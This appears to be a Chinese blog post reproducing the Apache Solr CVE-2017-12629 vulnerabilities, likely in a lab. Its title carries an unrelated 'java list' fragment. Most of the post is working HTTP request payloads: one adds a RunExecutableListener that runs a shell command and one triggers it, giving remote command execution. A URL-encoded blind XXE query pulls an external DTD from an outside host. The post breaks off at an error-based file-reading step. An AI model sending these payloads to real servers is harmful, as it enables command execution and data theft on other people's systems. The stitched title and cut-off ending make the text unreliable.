java list%3ca%3e排序_Apache Solr 远程命令+XXE执行漏洞（CVE-2017-12629）

Apache Solr 最近有出了个漏洞预警,先复习一下之前的漏洞 #命令执行 ##先创建一个listener，其中设置exe的值为我们想执行的命令，args的值是命令参数

POST /solr/demo/config HTTP/1.1

Host: your-ip

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

##然后进行update操作，触发刚才添加的listener：

POST /solr/demo/update HTTP/1.1

Host: your-ip

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 15

[{"id":"test"}]

##进入容器查看文件创建成功

#XXE ##由于返回包中不包含我们传入的XML中的信息，所以这是一个Blind XXE漏洞，我们发送如下数据包(自行修改其中的XXE Payload)：

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F192.168.63.1%2FXXE%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1

Host: your-ip:8983

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

##利用Error Based XXE读取文件：(下图为借用)